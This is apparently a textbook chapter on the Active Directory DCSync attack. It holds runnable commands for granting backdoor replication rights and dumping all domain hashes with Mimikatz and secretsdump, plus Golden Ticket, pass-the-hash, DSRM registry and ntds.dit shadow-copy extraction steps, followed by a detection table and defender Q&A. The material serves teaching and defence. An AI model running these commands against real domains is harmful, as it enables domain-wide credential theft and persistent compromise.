Chapter 108

DCSync Attack

Impersonating a domain controller to replicate credentials via the MS-DRSR (DRS Remote Protocol): extracting NTLM hashes, Kerberos keys, and password history for any account in the domain

Scenario

You have Domain Admin. Now you want every NT hash in the domain — not just current ones, but also the krbtgt hash needed for Golden Tickets, the DSRM Administrator hash, and historical password hashes. You don't need to be on the domain controller. DCSync lets any process with replication privileges call MS-DRSR (the AD replication RPC) and replicate password data from the DC's database, exactly as a legitimate DC would during replication. One command, run from any machine, extracts all 10,000 NT hashes in under 30 seconds.

AD Replication — MS-DRSR DRS Protocol

Active Directory multi-DC replication: When you have multiple DCs, they sync changes via MS-DRSR (DRS Remote Protocol) Interface: MS-DRSR over RPC Operations: IDL_DRSGetNCChanges → replicates all changes (including password attributes) IDL_DRSBind → authenticate to DRS service IDL_DRSCrackNames → resolve names to GUIDs What gets replicated: - unicodePwd (NT hash encrypted with replication key) - supplementalCredentials (Kerberos keys: AES-256, AES-128, RC4) - lmPwdHistory (LM hash history — usually empty) - ntPwdHistory (NT hash history — up to 24 previous passwords) - pwdLastSet, badPasswordCount, etc. DCSync mimics a DC calling IDL_DRSGetNCChanges on another DC. The target DC sees a legitimate replication request and sends password data. No code executes on the DC — it's just an RPC call. Privileges required (who has Replication rights by default): - Domain Admins - Enterprise Admins - Domain Controllers (computer accounts) - SYSTEM on a DC - Accounts granted "Replicating Directory Changes" + "Replicating Directory Changes All" These ACEs can be added to ANY account by a Domain Admin.

Required Replication Privileges

DCSync does not require being logged into a DC. It requires the extended rights on the domain object:

# Grant DCSync rights to an attacker-controlled account (as Domain Admin)
# This creates a persistence backdoor — attacker_user can DCSync anytime

# PowerShell — add replication rights to attacker_user
$domainObject = [adsi]"LDAP://DC=corp,DC=local"
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    [System.Security.Principal.NTAccount]"corp\attacker_user",
    [System.DirectoryServices.ActiveDirectoryRights]"ExtendedRight",
    [System.Security.AccessControl.AccessControlType]::Allow,
    [guid]"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2"  # DS-Replication-Get-Changes
)
$domainObject.ObjectSecurity.AddAccessRule($ace)
$domainObject.CommitChanges()

# Add "All" right too
$ace2 = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    [System.Security.Principal.NTAccount]"corp\attacker_user",
    [System.DirectoryServices.ActiveDirectoryRights]"ExtendedRight",
    [System.Security.AccessControl.AccessControlType]::Allow,
    [guid]"1131f6ab-9c07-11d1-f79f-00c04fc2dcd2"  # DS-Replication-Get-Changes-All
)
$domainObject.ObjectSecurity.AddAccessRule($ace2)
$domainObject.CommitChanges()

# Alternative via impacket:
dacledit.py -action write -rights DCSync -principal attacker_user \
    corp.local/domain_admin:password -dc-ip 10.10.10.1

DCSync with Mimikatz

# Run from any domain-joined machine as an account with replication rights
# (or as Domain Admin)

# Dump single account (quiet — only one DRSR call)
mimikatz# lsadump::dcsync /domain:corp.local /user:Administrator
mimikatz# lsadump::dcsync /domain:corp.local /user:krbtgt

# Dump ALL accounts in the domain (noisy — many DRSR calls)
mimikatz# lsadump::dcsync /domain:corp.local /all /csv

# Output format:
# [DC] 'corp.local' will be the domain
# [DC] 'DC01.corp.local' will be the DC server
# Object  : Administrator
# ** SAM ACCOUNT **
# SAM Username         : Administrator
# Account Type         : 30000000 ( USER_OBJECT )
# User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
# Account expiration   :
# Password last change : 2024-01-15
# Object Security ID   : S-1-5-21-...
# Object Relative ID   : 500
#
# Credentials:
#   Hash NTLM: fc525c9683e8fe067095ba2ddc971889
#   ntlm- 0: fc525c9683e8fe067095ba2ddc971889
#   ntlm- 1: 2b576acbe6bcfda7294d6bd18041b8fe   (previous password)
#   lm  - 0: e52cac67419a9a224a3b108f3fa6cb6d
#
# Supplemental Credentials:
# * Primary:NTLM-Strong-NTOWF *
#     Random Value : abc123...
#
# * Primary:Kerberos-Newer-Keys *
#     Default Salt : CORP.LOCALAdministrator
#     AES-256 Key: 5a8...  (Kerberos AES-256 encryption key)
#     AES-128 Key: 4b7...
#     DES Key: 3c6...

DCSync with impacket secretsdump

# impacket secretsdump — most common production tool

# DCSync single user
secretsdump.py corp.local/Administrator:Password@dc01.corp.local -just-dc-user Administrator

# DCSync krbtgt (Golden Ticket pre-requisite)
secretsdump.py corp.local/Administrator:Password@dc01.corp.local -just-dc-user krbtgt

# Full DCSync — all accounts
secretsdump.py corp.local/Administrator:Password@dc01.corp.local -just-dc

# Output format for full dump:
# corp.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
# corp.local\krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3e7b70b4e2e2c3f9bc4ab1df3c5b7fa:::
# corp.local\jsmith:1104:aad3b435b51404eeaad3b435b51404ee:8d7d236a3b09b6d0b7a8c4e2f1d3e5b7:::
# Format: domain\user:RID:LM_hash:NT_hash:::
# aad3b435b51404eeaad3b435b51404ee = empty LM hash (LM disabled)

# With Pass-the-Hash (if you already have DA NT hash)
secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889 \
    corp.local/Administrator@dc01.corp.local -just-dc

# With Kerberos ticket
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass dc01.corp.local -just-dc

Implementing DCSync in C via MS-DRSR RPC

DCSync from scratch uses the MS-DRSR RPC interface. The key calls are IDL_DRSBind, IDL_DRSCrackNames (to get the GUID for the target account), and IDL_DRSGetNCChanges. The full implementation is complex (Mimikatz has ~2,000 lines for dcsync), but the structure is:

// DCSync core structure — simplified conceptual flow
// Full implementation: see Mimikatz lsadump/dcsync.c

#include <windows.h>
#include <rpc.h>

// MS-DRSR interface GUID
static const IID DRS_IID = {
    0xe3514235, 0x4b06, 0x11d1,
    {0xab, 0x04, 0x00, 0xc0, 0x4f, 0xc2, 0xdc, 0xd2}
};

// Key RPC operations (abbreviated from MS-DRSR spec):
// IDL_DRSBind(hDrs, puuidClientDsa, pextClient, ppextServer, phDrs)
//   → establishes DRS session with DC
//
// IDL_DRSCrackNames(hDrs, 0, &request, &response)
//   → converts sAMAccountName to GUID (needed for GetNCChanges)
//
// IDL_DRSGetNCChanges(hDrs, 1, &request, &response)
//   → replicate object data; response contains attribute list including:
//     ATTRTYP 589914 = unicodePwd (encrypted NT hash)
//     ATTRTYP 591734 = supplementalCredentials (Kerberos keys)
//     ATTRTYP 589832 = lmPwdHistory
//     ATTRTYP 589986 = ntPwdHistory

// The unicodePwd value is returned encrypted with the session key:
// NT_hash_raw = DES_ECB_decrypt(
//     replication_session_key,    ← derived from DRS bind session
//     unicodePwd_value
// )
// This is the Windows replication encryption (not standard DPAPI)
// Mimikatz implements the decryption in kuhl_m_lsadump_dcsync_decrypt()

void DCSync_Concept(const char *dcAddress, const char *targetUser) {
    // 1. Bind to DC's DRS endpoint
    // RpcBindingFromStringBinding with "ncacn_ip_tcp" or "ncacn_np" transport
    // RpcBindingSetAuthInfo with RPC_C_AUTHN_GSS_NEGOTIATE (Kerberos/NTLM)

    // 2. Call IDL_DRSBind to get DRS handle
    // Extension flags include DRS_EXT_GETCHGREPLY_V6 for encrypted response

    // 3. CrackNames to get target object's GUID
    // Input: sAMAccountName format, Output: GUID for use in GetNCChanges

    // 4. Call IDL_DRSGetNCChanges with EXOP_REPL_OBJ flag
    // This replicates only the specified object, not the whole NC
    // Attributes requested: unicodePwd, supplementalCredentials, ntPwdHistory

    // 5. Decrypt the replication session key
    // The session key is encrypted with the transport session key (from Kerberos)
    // Decrypt to get PEK (Password Encryption Key)

    // 6. Use PEK to decrypt unicodePwd → NT hash
    // unicodePwd is encrypted with RC4(session_key, object_SID) in older DRS
    // or AES-256-CBC in newer DRS (based on DC OS version)
}

Hash Output — What You Get and How to Use It

DCSync hash output (secretsdump format): domain\account:RID:LM_hash:NT_hash::: corp.local\krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3e7b70b4e2e2c3f9bc4ab1df3c5b7fa::: What to do with each hash: krbtgt NT hash → Golden Ticket ticketer.py -nthash d3e7b70b4e2e2c3f9bc4ab1df3c5b7fa -domain-sid S-1-5-21-... \ -domain corp.local Administrator → Ticket for 'Administrator', valid indefinitely, forged offline → Use to authenticate to any service in the domain → Survives domain admin password reset (only blocked by krbtgt reset x2) Domain Admin NT hash → Pass-the-Hash wmiexec.py -hashes :fc525c9683e8fe067095ba2ddc971889 Administrator@target Any user NT hash → Hashcat for plaintext recovery hashcat -m 1000 nt_hashes.txt rockyou.txt DSRM Administrator hash → Local admin on all DCs The Directory Services Restore Mode account — same password on all DCs Enable DSRM auth via: HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior=2 Then PtH with DSRM hash to each DC Kerberos AES-256 key → Pass-the-Key / Overpass-the-Hash Better than NT hash in AES-only environments (no RC4) Rubeus.exe asktgt /user:Administrator /aes256:5a8... /domain:corp.local

ntds.dit Alternative — VSS Copy

If DCSync isn't an option (e.g., you're physically on the DC but network is restricted), extract the ntds.dit database directly using Volume Shadow Copies:

# Method 1: ntdsutil.exe (built-in Windows tool)
ntdsutil.exe "ac i ntds" "ifm" "create full c:\ntdsbackup" q q

# Creates: c:\ntdsbackup\Active Directory\ntds.dit
#          c:\ntdsbackup\registry\SYSTEM  (needed for boot key)

# Method 2: VSS shadow copy + xcopy
vssadmin create shadow /for=c:
# Note shadow copy volume name (e.g., \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3)
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\NTDS\ntds.dit" C:\ntds.dit
copy "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\System32\config\SYSTEM" C:\SYSTEM
vssadmin delete shadows /shadow=<shadow_id> /quiet  # cleanup

# Method 3: reg save (for SYSTEM hive only — needed for BOOTKEY)
reg save HKLM\SYSTEM C:\SYSTEM
reg save HKLM\SECURITY C:\SECURITY

# Extract hashes from ntds.dit + SYSTEM offline (from Linux)
secretsdump.py -ntds ntds.dit -system SYSTEM -security SECURITY LOCAL

# Faster: only extract specific users
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL -just-dc-user Administrator

Detection

SignalSourceNotes
Event 4662 with Properties containing GUIDs for DS-Replication-Get-Changes-All and source is not a DC computer accountDC Security Log (4662)The most specific signal — 4662 logs replication operations; source should be DC$ accounts, not user accounts
DRS network traffic (RPC endpoint mapper, then DRS interface) from a non-DC workstationNetwork monitoringDCSync traffic is port 135 (RPC) then dynamic high ports to DC — anomalous from workstations
Event 4624 logon Type 3 from unusual account to DC followed immediately by 4662DC Security LogCorrelate authentication + replication events
ACE added granting DS-Replication-Get-Changes on the domain object (5136)AD audit (5136)Attacker adding DCSync backdoor — 5136 attribute change on root domain object
ntdsutil.exe or vssadmin.exe executing on a DCProcess creation (4688 / Sysmon 1)ntdsutil IFM mode on a DC is unusual; process command line is key signal
Golden Ticket TTL vs DCSync Timing

DCSync gives you the krbtgt hash, which lets you forge Golden Tickets. However, the krbtgt hash should be rotated twice (to invalidate the previous hash stored for redundancy) within 10 hours to stop existing Golden Tickets. Most organizations don't rotate the krbtgt regularly. In an incident, the response team must rotate krbtgt twice with a 10-hour gap — this is a painful, potentially disruptive operation, but the only way to stop Golden Tickets. Defenders should document this procedure in their IR runbook before they need it during an active incident.

Q&A

Why does DCSync need "Replicating Directory Changes All" and not just "Replicating Directory Changes"?

The two extended rights control access to different subsets of AD attributes during replication. "DS-Replication-Get-Changes" (the basic right) allows replicating most AD object attributes — names, email addresses, group memberships, userAccountControl flags — but explicitly excludes confidential attributes including password hashes. The "All" variant (DS-Replication-Get-Changes-All) adds the ability to replicate confidential attributes, which is where the password data (unicodePwd, supplementalCredentials, lmPwdHistory, ntPwdHistory) lives. Microsoft deliberately separated these rights so that organizations could grant read-replication to monitoring tools or non-DC replication partners without automatically granting password hash access. The design intent was security segmentation. In practice, many organizations have granted both rights to the same accounts (Entra ID Connect, Azure AD Sync, backup agents), creating a class of accounts that can DCSync — these are valuable targets. Defenders: audit which non-DC accounts have DS-Replication-Get-Changes-All on the domain object; any such account is a potential DCSync vector and should be reviewed and protected at the same level as a Domain Admin.

What is the DSRM account and why is it a DCSync target?

DSRM (Directory Services Restore Mode) is a special boot mode for domain controllers used to perform AD maintenance and recovery. Every DC has a local administrator account in DSRM mode, with a password set during DC promotion (dcpromo). This account is a local administrator with the name "Administrator" that exists separately from any domain account — it's a purely local SAM account on the DC. DCSync returns the DSRM hash as part of the local SAM accounts on the DC (visible in secretsdump's "Local SAM" section). By default, the DSRM account cannot log in over the network (only available in DSRM boot mode). However, a registry key — HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior — controls whether DSRM credentials can authenticate over the network. Set to 2, the DSRM account becomes a persistent local admin that can authenticate over SMB to the DC. Many organizations use the same DSRM password across all DCs (set once during a rollout) — cracking or using the DSRM hash gives local admin on every DC in the domain, even after Domain Admin passwords are reset. This is why DSRM password management is part of DC hardening checklists.